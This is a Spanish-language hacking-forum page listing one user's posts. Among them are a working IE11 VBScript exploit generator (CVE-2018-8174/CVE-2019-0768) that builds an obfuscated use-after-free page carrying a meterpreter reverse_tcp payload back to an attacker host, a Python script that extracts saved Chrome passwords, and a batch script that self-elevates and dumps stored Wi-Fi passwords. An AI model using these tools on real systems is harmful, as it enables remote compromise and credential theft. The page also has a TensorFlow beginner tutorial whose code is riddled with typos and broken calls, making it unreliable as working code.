elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.


Tema destacado: Arreglado, de nuevo, el registro del warzone (wargame) de EHN


  Mostrar Temas
Páginas: [1] 2
1  Seguridad Informática / Bugs y Exploits / [Bug Bounty Hunter] Mas de 1000$ en pagos ¿Realidad o mito? en: 9 Mayo 2025, 21:09 pm
Saludos despues de dias de inactividad me llegaron comentarios relacionado con temas de la "Caza" de Vulnerabilidades y pagos, mi consulta actual respecto a la comunidad seria si algunos de vosotros ya lograron este tipo de trabajos y como es el proceso real para cobrar el dinero respecto a la explotación. Algunos enlaces que consulte antes de realizar estas preguntas

https://disclose.io/
https://blog.hackbynight.nl/getting-started-with-bug-bounty-hunting-in-2025-a-real-world-guide-051a3fb36376
https://www.bugbountyhunter.com/getting-started/

Saludos
2  Programación / Python / [Taller/Aporte] Introduccion a Redes Neuronales Artificiles e inteligencia artificial con Python en: 18 Abril 2025, 21:47 pm
Clase Nº 1
IA VS ML VS DL
Dentro de la inteligencia artificial tenemos
Machine Learning (ML): Las computadoras aprenden en base a experiencias pasadas, subconjunto de este esta el
Deep Learning (DL): Crear predicciones y clasificaciones basado en redes neuronales artificiales profundas (RNA) utilizando grandes conjuntos de datos el cerebro humano esta formado por miles de millones de neuronas que se comunican entre si medientes señales electricas.

Lo que diferencia el aprendizaje profundo de las tecnicas de aprendizaje de las maquinas es su capacidad para extraer características automaticamente

Procesos Machine Learning:
  • 1. Seleccionar el modelo a entrenar
  • 2. realizar manualmente la extracción de características.

Procesos Deep Learning:
  • 1. Seleccionar la arquitectura de la red
  • 2. las características se extraen automáticamente alimentando los datos de entrenamiento junto con la clase de objectivo.

Proyecto 1: Convertir Celsius a Fahrenheit.

En este proyecto, construiremos un simple modelo de aprendizaje de máquinas para convertir las temperaturas de Celsius a Fahrenheit.
La ecuación es la siguiente

 T(ºF) = T(ºC) * (9/5) + 32
Ejemplo T(ºF) = (0ºC * 9/5) +32 = 32ºF

El objectivo es predecir el valor de una variable Y en base a otra variable X.
X se llama la variable independiente e Y se llama la variable dependiente
Esto se llama "Regresión" y se tratará con mucho mas a detalle.

Que son las Redes Neuronales Artificiales (RNA)

Son modelos de procesamiento de información inspirados en el cerebro humano. Donde tenemos un conjunto de entrenadas y nos devuelve un valor de salida.

vamos a ver cómo funcionan, tenemos el cerebro y la imagen de un gato, la imagen es un input y la funcion del cerebro es predecir que la imagen es un gato, cuando la imagen entra al cerebro (RNA) lo "correlaciona" con "experiencias pasadas" encuentra las características y reconoce. Mas el aprendizaje seria el siguiente, al analizar la imagen calcula cuando es correcto, si se equivocó o no y se genera una perdida (función de perdida) que crea una retroalimentación que se relaciona con una "Actualización de Pesos", todo pasa una y otra vez hasta que la neurona va reduciendo su funcion perdida.

Contruyamos la red más simple (Un modelo de una sola neurona)

Cargamos una lista con datos de entrenamiento (una tabla de Celsius a Fahrenheit)

Primero importamos la libreria tensorflow en python

Código
  1. import tensorflow as tf

la libreria panda que perdimite cargar el set de datos y trabajar con el en las sets de entrenamiento y prueba básicamente (base de datos y archivos)

Código
  1. import pandas as pd

la libreria numpy nos permite trabajar con matrices y matemátaicas.

Código
  1. import numpy as np

la libreria seaborn para hacer las visualizaciones de nuestro modelo.

Código
  1. import seaborn as sns

finalmente vamos a hacer splots de nuestro modelo para ver los gráficos con la libreria "matplotlib.pyplot"

Código
  1. import matploitlib.pyplot as plt

nota: en caso de no tener las librerias disponibles ejecutar el siguiente comando pip install nombre_de_la_libreria. continuamos

importamos el set de datos (base de datos) del set de entrenamiento

Código
  1. #Importando Datos
  2. temperatura_df = pd.read_csv("celsius_a_fahrenheit.cvs")

el archivo "celsius_a_fahrenheit.cvs" es un documento abierto en excel con dos colummnas, la primera en Celsius (variable independiente) y la segunda en Fahrenheit (este set de datos puede crearse automaticamente usando una macro)

Celsius/Fahrenheit
**** / ****
**** / ****
**** / ****
**** / ****
...
...
...
**** / ****

a mayor cantidad de datos mejor sera en entrenamiento en este caso.

Para la visualización de datos

Código
  1. #visualizacion
  2. sns.scatterplot(temperature_df['Celsius'],temperature_df['Fahrenheit'])

siguiente

Código
  1. #Cargando Set de Datos
  2. X_train = temperature_df['Celsius']
  3. y=train = temperature_df['Fahrenheit']

Creamos el modelo con tensorflow

Código
  1. #Creando el modelo
  2. model = tf.keras.Sequential()

Sequential() significa que vamos a crear nuestro modelo capa por capa de manera "secuencial", recordemos que las neuronas tienen puntos de entrada tienen acciones dendritas sinapsis y todo eso hace a la neurona. entonces vamos a agregar, creamos la primera capa de nuestro modelo con la variable model agregamos la capa con el subcomando ".add()" y usamos el comando "tf.keras.layers"
Código
  1. model.add(tf.keras.layers.Dense(units=1, input_shape[1]))

la capa Dense es de las capaz mas simples, donde los parametros de entrada son "units" cantidad de neuronas en este caso nos basta con solo una e "input_shape" que el valor sera tambien 1.

Cuando trabajamos con IA debemos ver el modelo, con eso vemos la red antes de trabajar.

Código
  1. model.summary()

Las redes neuronales aprenden atravez de la funcion de perdida y ajustes de pesos (sesgos)

Código
  1. #Compilado
  2. model.compile(optimizer=tf.keras.optimizers.Adam(0.5), loss='mean_squared_error')

En estadistica el error medio cuadrado es llamada desviación media cuadrada de un estimador mide el promedio de los cuadrados de los errores, es decir, la diferencia media cuadrada entre los valores estimados. El error medio cuadrado es una función de riesgo que corresponde al valor esperado de la perdida del error al cuadrado. Y lo que buscamos es la perdida del error para poder optimizar nuestra red.

Con lo anterior ya hemos compilado el modelo ahora nos falta una funcion que nos perdida entrena el modelo.
crear una funcion que nos perdima actualizar nuestros pesos corriendo atraves del set de datos para ajustar los pesos, por eso se cargo el set de datos en las variables X_train y y_train. llamos al modelo secuencia y le agregamos una neurona con la capa tipo Dense definiendo una neurona y una salida, compilamos el modelo en base a un optimizador y un modelo de errores.

Tenemos que crear una lista de epochs, el epochs es el numero de ciclos cuando se lee todo el set de entrenamiento.

Código
  1. #Entrenando el modelo
  2. epochs_hist = model.fit(x_train, y_train, epochs = 100)

el entrenamiento dura realmente poco porque estamos trabajando con regresion lineal y porque el set de datos esta definido bajo un numero relativamente pequeño de entradas y salidas (recomendable ajustar la base de datos a 30 lineas en el excel)

cuando entrenamos el modelo veremos que la optimizacion del modelo esta basado en el valor "loss" a menor sea el valor mas exacto es el modelo.

nos interesa ver el historial de entrenamiento

Código
  1. #Evaluando modelo
  2. epochs_hist.history.keys()

obtiene las llaves o claves del entrenamiento

Código
  1. #grafico
  2. plt.plot(epochs_hist.history['loss'])
  3. plt.title('Progreso de perdida durante el entrenamiento del modelo')
  4. plt.xlabel('Epoch')
  5. plt.ylabel('Training Loss')
  6. plt.legends('Training Loss')

Lo anterior muestra la evolucion al modelo respecto a numero de ciclos de entrenamiento "epochs".

obtenemos los pesos del modelo
Código
  1. model.get_weights()

Ahora nos interesa hacer prediciones, comparamos el modelo con la ecuacion "ya que existe la formala determista" con eso evaluamos la exactitud del mismo.
Código
  1. #Predicciones
  2. Temp_C = 0
  3. temp_F = model.predict([Temp_C])
  4. print(temp_F)
  5.  
  6. #formula
  7. Temp_F = (9/5)*Temp_c + 32.
  8. print(Temp_F)

y comparamos. para mejorar la prediccion podemos cambiar el modelo de compilado de 0.5 a 1
Código
  1. #Compilado
  2. model.compile(optimizer=tf.keras.optimizers.Adam(1), loss='mean_squared_error')

Con lo anterior terminamos el modelo basico para iniciar con inteligencia artificial. E aqui el codigo fuente completo.

Código
  1. import tensorflow as tf
  2. import pandas as pd
  3. import numpy as np
  4. import seaborn as sns
  5. import matplotlib.pyplot as plt
  6.  
  7. #impotando Datos
  8. temperature_df = pd.read_csv("celsius_a_fahrenheit.csv")
  9.  
  10. #Visualizacion
  11. sns.scatterplot(temperature_df['celsius'], temperature_df['fahrenheit'])
  12.  
  13. #Cargando Set de Datos
  14. X_train = temperature_df['Celsius']
  15. y_train = temperature_df['Fahrenheit']
  16.  
  17. #Creando el modelo
  18. model = tf.keras.sequential()
  19. model.add(tf.keras.layers.DEnse(units=1, input_shape=[1]))
  20.  
  21. model.summaryÇ()
  22.  
  23. #compilado
  24. model.compile(optimizar=tf.keras.optimizers.Adam(1),loss='mean_squared_error')
  25.  
  26. #Entrenando el modelo
  27. epochs_hist = model.fit(x_train, y_train, epochs=100)
  28.  
  29. #Evaluando modelo
  30. epochs_hist.history.keys()
  31.  
  32. #gafico
  33. plt.plot(epochs_hist.history['loss'])
  34. plt.title('Progreso de perdida durante el entrenamiento del modelo')
  35. plt.xlabel('Epoch')
  36. plt.ylabel('Training Loss')
  37. plt.legends('Training Loss')
  38.  
  39. model.get_weights()
  40.  
  41. #Predicciones
  42. Temp_C = 0
  43. temp_F = model.predict([Temp_C])
  44. print(temp_F)
  45.  
  46. #formula
  47. Temp_F = (9/5)*Temp_c + 32.
  48. print(Temp_F)

Saludos
3  Programación / Scripting / [AYUDA] Script Python para extraer informacion de Google Chrome en Windows en: 11 Abril 2025, 23:33 pm
Saludos comunidad, esto no representa un aporte real sino un codigo que estaba estudiando en python como parte del inicio de mi portafolio personal y me encuentro con el siguiente Script. Requiere 2 librerias

Código
  1. import os
  2. import sqlite3
  3. import win32crypt #pip install pypiwin32
  4.  
  5. def get_chrome():
  6.  data_path = os.path.expanduser('~') + r'\AppData\Local\Google\Chrome\User Data\Default\Login Data'
  7.  c = sqlite3.connect(data_path)
  8.  cursor = c.cursor()
  9.  select_statement = 'SELECT origin_url, username_value, password_value FROM Logins'
  10.  cursor.execute(select_statement)
  11.  
  12.  login_data = cursor.fetchall()
  13.  
  14.  cred = {}
  15.  string = ''
  16.  
  17.  for url, user_name, pws in login_data:
  18.    pwd = win32crypt.CryptUnprotectData(pwd)
  19.    cred[url] = (user_name, pwd[1].decode('utf8'))
  20.    string += '\n[+] URL:%s USERNAME: %s PASSWORD: %s\n' % (url, user_name, pwd[1].decode('utf8'))
  21.    print(string)
  22.    os.system('pause')
  23.  
  24. if __name__ == '__main__':
  25.  get_chrome()
  26.  
  27. '''
  28.  File "\code\get_chrome.py", line 10, in get_chrome
  29.    cursor.execute(select_statement)
  30. sqlite3.OperationalError: database is locked
  31. '''

me devuelve un error de sqlite3.OperationalError: database is locked.

Saludos
4  Seguridad Informática / Análisis y Diseño de Malware / Analizando supuesto Exploit en VBScript y Python de Internet Explorer 11 en: 9 Abril 2025, 20:12 pm
Consegui este fragmento de codigo por un compañero. Lo dejo por aca para analizarlo con calma y poder trabajar con el sin abusar del Virtual Box.

Código
  1. import sys
  2. import subprocess
  3.  
  4. usage_text = """
  5.  
  6. Exploit Generator for CVE-2018-8174 & CVE-2019-0768
  7.  
  8. Prerequisite:
  9. - Metasploit
  10. - msfvenom
  11.  
  12. Usage: python ie11_vbscript.py [Listener IP] [Listener Port]
  13.  
  14. Instruction:
  15. 1. Use this script to generate "exploit.html"
  16. 2. Host the html file on your server
  17. 3. Setup a handler with windows/meterpreter/reverse_tcp in Metasploit
  18. 4. In your handler, set AutoRunScript with "post/windows/manage/migrate"
  19.  
  20. """
  21.  
  22. if len(sys.argv) != 3:
  23.   print usage_text
  24.   sys.exit()
  25.  
  26. lhost = sys.argv[1]
  27. lport = sys.argv[2]
  28. #p = subprocess.call(["msfvenom","-p","windows/meterpreter/reverse_tcp","LHOST="+lhost])
  29. p = subprocess.Popen(["msfvenom","-p","windows/meterpreter/reverse_tcp","LHOST="+lhost,"LPORT="+lport,"-b","'\\x00'","-f","js_le"],stdout=subprocess.PIPE)
  30.  
  31. out = p.communicate()
  32. result = out[0]
  33. payload = """
  34.  
  35. <!doctype html>
  36. <html lang=\"en\">
  37. <head>
  38. <meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\">
  39. <meta http-equiv=\"x-ua-compatible\" content=\"IE=5\">
  40. <meta http-equiv=\"Expires\" content=\"0\">
  41. <meta http-equiv=\"Pragma\" content=\"no-cache\">
  42. <meta http-equiv=\"Cache-control\" content=\"no-cache\">
  43. <meta http-equiv=\"Cache\" content=\"no-cache\">
  44. </head>
  45. <body>
  46. <script language=\"VBScript.Encode\">
  47. Dim lIIl
  48. Dim IIIlI(6),IllII(6)
  49. Dim IllI
  50. Dim IIllI(40)
  51. Dim lIlIIl,lIIIll
  52. Dim IlII
  53. Dim llll,IIIIl
  54. Dim llllIl,IlIIII
  55. Dim NtContinueAddr,VirtualProtectAddr
  56.  
  57. IlII=195948557
  58. lIlIIl=Unescape(\"%u0001%u0880%u0001%u0000%u0000%u0000%u0000%u0000%uffff%u7fff%u0000%u0000\")
  59. lIIIll=Unescape(\"%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000\")
  60. IllI=195890093
  61. Function IIIII(Domain)
  62. lIlII=0
  63. IllllI=0
  64. IIlIIl=0
  65. Id=CLng(Rnd*1000000)
  66. lIlII=CLng((&h27d+8231-&H225b)*Rnd)Mod (&h137d+443-&H152f)+(&h1c17+131-&H1c99)
  67. If(Id+lIlII)Mod (&h5c0+6421-&H1ed3)=(&h10ba+5264-&H254a) Then
  68. lIlII=lIlII-(&h86d+6447-&H219b)
  69. End If
  70.  
  71. IllllI=CLng((&h2bd+6137-&H1a6d)*Rnd)Mod (&h769+4593-&H1940)+(&h1a08+2222-&H2255)
  72. IIlIIl=CLng((&h14e6+1728-&H1b5d)*Rnd)Mod (&hfa3+1513-&H1572)+(&h221c+947-&H256e)
  73. IIIII=Domain &\"?\" &Chr(IllllI) &\"=\" &Id &\"&\" &Chr(IIlIIl) &\"=\" &lIlII
  74. End Function
  75.  
  76. Function lIIII(ByVal lIlIl)
  77. IIll=\"\"
  78. For index=0 To Len(lIlIl)-1
  79. IIll=IIll &lIlI(Asc(Mid(lIlIl,index+1,1)),2)
  80. Next
  81. IIll=IIll &\"00\"
  82. If Len(IIll)/(&h15c6+3068-&H21c0) Mod (&h1264+2141-&H1abf)=(&hc93+6054-&H2438) Then
  83. IIll=IIll &\"00\"
  84. End If
  85. For IIIl=(&h1a1a+3208-&H26a2) To Len(IIll)/(&h1b47+331-&H1c8e)-(&h14b2+4131-&H24d4)
  86. lIIIlI=Mid(IIll,IIIl*(&h576+1268-&Ha66)+(&ha64+6316-&H230f),(&ha49+1388-&Hfb3))
  87. lIlIll=Mid(IIll,IIIl*(&hf82+3732-&H1e12)+(&h210+2720-&Hcaf)+(&h4fa+5370-&H19f2),(&hf82+5508-&H2504))
  88. lIIII=lIIII &\"%u\" &lIlIll &lIIIlI
  89. Next
  90. End Function
  91. Function lIlI(ByVal Number,ByVal Length)
  92. IIII=Hex(Number)
  93. If Len(IIII)<Length Then
  94. IIII=String(Length-Len(IIII),\"0\") &IIII    \'pad allign with zeros
  95. Else
  96. IIII=Right(IIII,Length)
  97. End If
  98. lIlI=IIII
  99. End Function
  100. Function GetUint32(lIII)
  101. Dim value
  102. llll.mem(IlII+8)=lIII+4
  103. llll.mem(IlII)=8 \'type string
  104. value=llll.P0123456789
  105. llll.mem(IlII)=2
  106. GetUint32=value
  107. End Function
  108. Function IllIIl(lIII)
  109. IllIIl=GetUint32(lIII) And (131071-65536)
  110. End Function
  111. Function lllII(lIII)
  112. lllII=GetUint32(lIII)  And (&h17eb+1312-&H1c0c)
  113. End Function
  114. Sub llllll
  115. End Sub
  116. Function GetMemValue
  117. llll.mem(IlII)=(&h713+3616-&H1530)
  118. GetMemValue=llll.mem(IlII+(&h169c+712-&H195c))
  119. End Function
  120. Sub SetMemValue(ByRef IlIIIl)
  121. llll.mem(IlII+(&h715+3507-&H14c0))=IlIIIl
  122. End Sub
  123. Function LeakVBAddr
  124. On Error Resume Next
  125. Dim lllll
  126. lllll=llllll
  127. lllll=null
  128. SetMemValue lllll
  129. LeakVBAddr=GetMemValue()
  130. End Function
  131. Function GetBaseByDOSmodeSearch(IllIll)
  132. Dim llIl
  133. llIl=IllIll And &hffff0000
  134. Do While GetUint32(llIl+(&h748+4239-&H176f))<>544106784 Or GetUint32(llIl+(&ha2a+7373-&H268b))<>542330692
  135. llIl=llIl-65536
  136. Loop
  137. GetBaseByDOSmodeSearch=llIl
  138. End Function
  139. Function StrCompWrapper(lIII,llIlIl)
  140. Dim lIIlI,IIIl
  141. lIIlI=\"\"
  142. For IIIl=(&ha2a+726-&Hd00) To Len(llIlIl)-(&h2e1+5461-&H1835)
  143. lIIlI=lIIlI &Chr(lllII(lIII+IIIl))
  144. Next
  145. StrCompWrapper=StrComp(UCase(lIIlI),UCase(llIlIl))
  146. End Function
  147. Function GetBaseFromImport(base_address,name_input)
  148. Dim import_rva,nt_header,descriptor,import_dir
  149. Dim IIIIII
  150. nt_header=GetUint32(base_address+(&h3c))
  151. import_rva=GetUint32(base_address+nt_header+&h80)
  152. import_dir=base_address+import_rva
  153. descriptor=0
  154. Do While True
  155. Dim Name
  156. Name=GetUint32(import_dir+descriptor*(&h14)+&hc)
  157. If Name=0 Then
  158. GetBaseFromImport=&hBAAD0000
  159. Exit Function
  160. Else
  161. If StrCompWrapper(base_address+Name,name_input)=0 Then
  162. Exit Do
  163. End If
  164. End If
  165. descriptor=descriptor+1
  166. Loop
  167. IIIIII=GetUint32(import_dir+descriptor*(&h14)+&h10)
  168. GetBaseFromImport=GetBaseByDOSmodeSearch(GetUint32(base_address+IIIIII))
  169. End Function
  170.  
  171. Function GetProcAddr(dll_base,name)
  172. Dim p,export_dir,index
  173. Dim function_rvas,function_names,function_ordin
  174. Dim Illlll
  175. p=GetUint32(dll_base+&h3c)
  176. p=GetUint32(dll_base+p+&h78)
  177. export_dir=dll_base+p
  178.  
  179. function_rvas=dll_base+GetUint32(export_dir+&h1c)
  180. function_names=dll_base+GetUint32(export_dir+&h20)
  181. function_ordin=dll_base+GetUint32(export_dir+&h24)
  182. index=0
  183. Do While True
  184. Dim lllI
  185. lllI=GetUint32(function_names+index*4)
  186. If StrCompWrapper(dll_base+lllI,name)=0 Then
  187. Exit Do
  188. End If
  189. index=index+1
  190. Loop
  191. Illlll=IllIIl(function_ordin+index*2)
  192. p=GetUint32(function_rvas+Illlll*4)
  193. GetProcAddr=dll_base+p
  194. End Function
  195.  
  196. Function GetShellcode()
  197. IIlI=Unescape(\"%u0000%u0000%u0000%u0000\") &Unescape(\"{shellcode}\" &lIIII(IIIII(\"\")))
  198. IIlI=IIlI & String((&h80000-LenB(IIlI))/2,Unescape(\"%u4141\"))
  199. GetShellcode=IIlI
  200. End Function
  201. Function EscapeAddress(ByVal value)
  202. Dim High,Low
  203. High=lIlI((value And &hffff0000)/&h10000,4)
  204. Low=lIlI(value And &hffff,4)
  205. EscapeAddress=Unescape(\"%u\" &Low &\"%u\" &High)
  206. End Function
  207. Function lIllIl
  208. Dim IIIl,IlllI,IIlI,IlIII,llllI,llIII,lIllI
  209. IlllI=lIlI(NtContinueAddr,8)
  210. IlIII=Mid(IlllI,1,2)
  211. llllI=Mid(IlllI,3,2)
  212. llIII=Mid(IlllI,5,2)
  213. lIllI=Mid(IlllI,7,2)
  214. IIlI=\"\"
  215. IIlI=IIlI &\"%u0000%u\" &lIllI &\"00\"
  216. For IIIl=1 To 3
  217. IIlI=IIlI &\"%u\" &llllI &llIII
  218. IIlI=IIlI &\"%u\" &lIllI &IlIII
  219. Next
  220. IIlI=IIlI &\"%u\" &llllI &llIII
  221. IIlI=IIlI &\"%u00\" &IlIII
  222. lIllIl=Unescape(IIlI)
  223. End Function
  224. Function WrapShellcodeWithNtContinueContext(ShellcodeAddrParam) \'bypass cfg
  225. Dim IIlI
  226. IIlI=String((100334-65536),Unescape(\"%u4141\"))
  227. IIlI=IIlI &EscapeAddress(ShellcodeAddrParam)
  228. IIlI=IIlI &EscapeAddress(ShellcodeAddrParam)
  229. IIlI=IIlI &EscapeAddress(&h3000)
  230. IIlI=IIlI &EscapeAddress(&h40)
  231. IIlI=IIlI &EscapeAddress(ShellcodeAddrParam-8)
  232. IIlI=IIlI &String(6,Unescape(\"%u4242\"))
  233. IIlI=IIlI &lIllIl()
  234. IIlI=IIlI &String((&h80000-LenB(IIlI))/2,Unescape(\"%u4141\"))
  235. WrapShellcodeWithNtContinueContext=IIlI
  236. End Function
  237. Function ExpandWithVirtualProtect(lIlll)
  238. Dim IIlI
  239. Dim lllllI
  240. lllllI=lIlll+&h23
  241. IIlI=\"\"
  242. IIlI=IIlI &EscapeAddress(lllllI)
  243. IIlI=IIlI &String((&hb8-LenB(IIlI))/2,Unescape(\"%4141\"))
  244. IIlI=IIlI &EscapeAddress(VirtualProtectAddr)
  245. IIlI=IIlI &EscapeAddress(&h1b)
  246. IIlI=IIlI &EscapeAddress(0)
  247. IIlI=IIlI &EscapeAddress(lIlll)
  248. IIlI=IIlI &EscapeAddress(&h23)
  249. IIlI=IIlI &String((&400-LenB(IIlI))/2,Unescape(\"%u4343\"))
  250. ExpandWithVirtualProtect=IIlI
  251. End Function
  252. Sub ExecuteShellcode
  253. llll.mem(IlII)=&h4d \'DEP bypass
  254. llll.mem(IlII+8)=0
  255.    msgbox(IlII) \'VT replaced
  256. End Sub
  257.  
  258. Class cla1
  259. Private Sub Class_Terminate()
  260. Set IIIlI(IllI)=lIIl((&h1078+5473-&H25d8))
  261. IllI=IllI+(&h14b5+2725-&H1f59)
  262. lIIl((&h79a+3680-&H15f9))=(&h69c+1650-&Hd0d)
  263. End Sub
  264.  
  265. End Class
  266.  
  267. Class cla2
  268. Private Sub Class_Terminate()
  269. Set IllII(IllI)=lIIl((&h15b+3616-&Hf7a))
  270. IllI=IllI+(&h880+542-&Ha9d)
  271. lIIl((&h1f75+342-&H20ca))=(&had3+3461-&H1857)
  272. End Sub
  273. End Class
  274.  
  275. Class IIIlIl
  276. End Class
  277.  
  278. Class llIIl
  279. Dim mem
  280. Function P
  281. End Function
  282. Function SetProp(Value)
  283. mem=Value
  284. SetProp=0
  285. End Function
  286. End Class
  287.  
  288. Class IIIlll
  289. Dim mem
  290. Function P0123456789
  291. P0123456789=LenB(mem(IlII+8))
  292. End Function
  293. Function SPP
  294. End Function
  295. End Class
  296.  
  297. Class lllIIl
  298. Public Default Property Get P
  299. Dim llII
  300. P=174088534690791e-324
  301. For IIIl=(&h7a0+4407-&H18d7) To (&h2eb+1143-&H75c)
  302. IIIlI(IIIl)=(&h2176+711-&H243d)
  303. Next
  304. Set llII=New IIIlll
  305. llII.mem=lIlIIl
  306. For IIIl=(&h1729+3537-&H24fa) To (&h1df5+605-&H204c)
  307. Set IIIlI(IIIl)=llII
  308. Next
  309. End Property
  310. End Class
  311.  
  312. Class llllII
  313. Public Default Property Get P
  314. Dim llII
  315. P=636598737289582e-328
  316. For IIIl=(&h1063+2314-&H196d) To (&h4ac+2014-&Hc84)
  317. IllII(IIIl)=(&h442+2598-&He68)
  318. Next
  319. Set llII=New IIIlll
  320. llII.mem=lIIIll
  321. For IIIl=(&h7eb+3652-&H162f) To (&h3e8+1657-&Ha5b)
  322. Set IllII(IIIl)=llII
  323. Next
  324. End Property
  325. End Class
  326.  
  327. Set llllIl=New lllIIl
  328. Set IlIIII=New llllII
  329. Sub UAF
  330. For IIIl=(&hfe8+3822-&H1ed6) To (&h8b+8633-&H2233)
  331. Set IIllI(IIIl)=New IIIlIl
  332. Next
  333. For IIIl=(&haa1+6236-&H22e9) To (&h1437+3036-&H1fed)
  334. Set IIllI(IIIl)=New llIIl
  335. Next
  336. IllI=0
  337. For IIIl=0 To 6
  338. ReDim lIIl(1)
  339. Set lIIl(1)=New cla1
  340. Erase lIIl
  341. Next
  342. Set llll=New llIIl
  343. IllI=0
  344. For IIIl=0 To 6
  345. ReDim lIIl(1)
  346. Set lIIl(1)=New cla2
  347. Erase lIIl
  348. Next
  349. Set IIIIl=New llIIl
  350. End Sub
  351. Sub InitObjects
  352. llll.SetProp(llllIl)
  353. IIIIl.SetProp(IlIIII)
  354. IlII=IIIIl.mem
  355. End Sub
  356.  
  357. Sub StartExploit
  358. UAF
  359. InitObjects
  360. vb_adrr=LeakVBAddr()
  361. //Alert \"CScriptEntryPointObject Leak: 0x\" & Hex(vb_adrr) & vbcrlf & \"VirtualTable address: 0x\" & Hex(GetUint32(vb_adrr))
  362. vbs_base=GetBaseByDOSmodeSearch(GetUint32(vb_adrr))
  363. //Alert \"VBScript Base: 0x\" & Hex(vbs_base)
  364. msv_base=GetBaseFromImport(vbs_base,\"msvcrt.dll\")
  365. //Alert \"MSVCRT Base: 0x\" & Hex(msv_base)
  366. krb_base=GetBaseFromImport(msv_base,\"kernelbase.dll\")
  367. //Alert \"KernelBase Base: 0x\" & Hex(krb_base)
  368. ntd_base=GetBaseFromImport(msv_base,\"ntdll.dll\")
  369. //Alert \"Ntdll Base: 0x\" & Hex(ntd_base)
  370. VirtualProtectAddr=GetProcAddr(krb_base,\"VirtualProtect\")
  371. //Alert \"KernelBase!VirtualProtect Address 0x\" & Hex(VirtualProtectAddr)
  372. NtContinueAddr=GetProcAddr(ntd_base,\"NtContinue\")
  373. //Alert \"KernelBase!VirtualProtect Address 0x\" & Hex(NtContinueAddr)
  374. SetMemValue GetShellcode()
  375. ShellcodeAddr=GetMemValue()+8
  376. //Alert \"Shellcode Address 0x\" & Hex(ShellcodeAddr)
  377. SetMemValue WrapShellcodeWithNtContinueContext(ShellcodeAddr)
  378. lIlll=GetMemValue()+69596
  379. SetMemValue ExpandWithVirtualProtect(lIlll)
  380. llIIll=GetMemValue()
  381. ExecuteShellcode
  382. Alert \"Executing Shellcode\"
  383. End Sub
  384. StartExploit
  385. </script>
  386. </body>
  387. </html>
  388.  
  389. """.format(shellcode=result)
  390.  
  391. f = open("exploit.html", "w")
  392. f.write(payload)

Aun no se que hace exactamente, pero me tomare el tiempo de decodificarlo y analizarlo bien.
Saludos
5  Programación / Scripting / [APORTE] Batch que devuelva contraseñas Wifi guardadas de Windows 10 en: 8 Abril 2025, 22:02 pm
A continuacion les traigo el siguiente codigo

Código
  1. @echo off & setlocal enabledelayedexpansion
  2. Set "Copyright=by Bad4m_cod3"
  3. Title  %~n0 %Copyright%
  4. Mode con cols=75 lines=8
  5. cls & color 0A & echo.
  6. echo             ***********************************************
  7. echo                 %~n0 %Copyright%
  8. echo             ***********************************************
  9. if _%1_==_Main_  goto :Main
  10. Set Count=0
  11. Set L=0
  12. :getadmin
  13.    echo               %~nx0 : self elevating
  14.    set vbs=%temp%\getadmin.vbs
  15. (
  16. echo Set UAC = CreateObject^("Shell.Application"^)
  17. echo UAC.ShellExecute "%~s0", "Main %~sdp0 %*", "", "runas", 1
  18. )> "%vbs%"
  19.    "%temp%\getadmin.vbs"
  20.    del "%temp%\getadmin.vbs"
  21. goto :eof
  22. ::*************************************************************************************
  23. :Main
  24. Call :init
  25. Call :CountLines
  26. Set "PasswordLog=%~dp0Wifi_Passwords_on_%ComputerName%.txt"
  27. %Mod%
  28. echo             ***********************************************
  29. echo                 %~n0 %Copyright%
  30. echo             ***********************************************
  31. Call :Color 0E "                 [N][SSID] ================ Password" 1
  32. (
  33. echo             ***********************************************
  34. echo                 %~n0 %Copyright%
  35. echo             ***********************************************
  36. echo                  [N][SSID] ==============^> "Password"
  37.  
  38. )>"%PasswordLog%"
  39. for /f "skip=2 delims=: tokens=2" %%a in ('netsh wlan show profiles') do (
  40.    if not "%%a"=="" (
  41.        set "ssid=%%a"
  42.        set "ssid=!ssid:~1!"
  43. call :Getpassword "!ssid!"
  44.    )
  45. )
  46. echo Done
  47. If exist "%PasswordLog%" start "" "%PasswordLog%"
  48. pause>nul
  49. ::*************************************************************************************
  50. :Getpassword
  51. set "name=%1"
  52. set "name=!name:"=!"
  53. Set "passwd="
  54. for /f "delims=: tokens=2" %%a in ('netsh wlan show profiles %1 key^=clear ^|find /I "Cont"') do (
  55. set "passwd=%%a"
  56. Set /a Count+=1
  57. )
  58.  
  59. If defined passwd (
  60. set passwd=!passwd:~1!
  61. echo                  [!Count!][!name!] ====^> "!passwd!"
  62. echo                  [!Count!][!name!] ====^> "!passwd!" >> "% style="color: #448888;">PasswordLog%"
  63. ) else (
  64. Set /a Count+=1
  65. call :color 0C "                 [!Count!][!name!] The Password is empty" 1
  66. echo                  [!Count!][!name!] The Password is empty >> "% style="color: #448888;">PasswordLog%"
  67. )
  68. exit /b
  69. ::*************************************************************************************
  70. :init
  71. prompt $g
  72. for /F "delims=." %%a in ('"prompt $H. & for %%b in (1) do rem"') do set "BS=%%a"
  73. exit /b
  74. ::*************************************************************************************
  75. :color
  76. set nL=%3
  77. if not defined nL echo requires third argument & pause > nul & goto :eof
  78. if %3 == 0 (
  79.    <nul set /p ".=%bs%">%2 & findstr /v /a:%1 /r "^$" %2 nul & del %2 2>&1 & goto :eof
  80. ) else if %3 == 1 (
  81.    echo %bs%>%2 & findstr /v /a:%1 /r "^$" %2 nul & del %2 2>&1 & goto :eof
  82. )
  83. exit /b
  84. ::*************************************************************************************
  85. :CountLines
  86. for /f "skip=2 delims=: tokens=2" %%a in ('netsh wlan show profiles') do (
  87.    if not "%%a"=="" (
  88. set /a L+=1
  89. )
  90. )
  91. set /a L=!L! + 10
  92. Set Mod=Mode con cols=75 Lines=!L!
  93. exit /b
  94. ::*************************************************************************************

Al ejecutarlo te pide privilegios de administrador para poder realizar una busqueda automatica con el comando Netsh Wlan. Solo funciona si el idioma del sistema es el español Saludos :silbar:
6  Seguridad Informática / Bugs y Exploits / Ayuda con tutoriales de Metaploit para Android y Windows en: 8 Abril 2025, 19:24 pm
Saludos! Alguien en este foro no tendra un enlace para documentacion o tutoriales de explots para ejecutar Shellcode de forma remota en Windows 10? algo parecido a ËternalBlue. Estoy trabajando en un laboratorio de VBox
7  Foros Generales / Foro Libre / [Lista de grupos Hackers destacados] 80s - Actualidad en: 8 Abril 2025, 01:40 am
Para los que no esten al tanto, existen actualmente un articulo que redacta todos los grupos Hacktivistas que tuvieron un lugar destacado en la cultura online de varios foros. A continuacion la traducion

